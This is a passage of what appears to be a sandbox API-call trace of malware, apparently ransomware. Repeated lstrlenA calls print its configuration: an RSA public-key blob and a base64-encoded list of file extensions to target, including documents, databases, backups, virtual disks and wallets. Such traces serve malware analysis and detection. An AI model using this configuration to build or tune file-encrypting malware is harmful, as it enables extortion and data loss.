LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE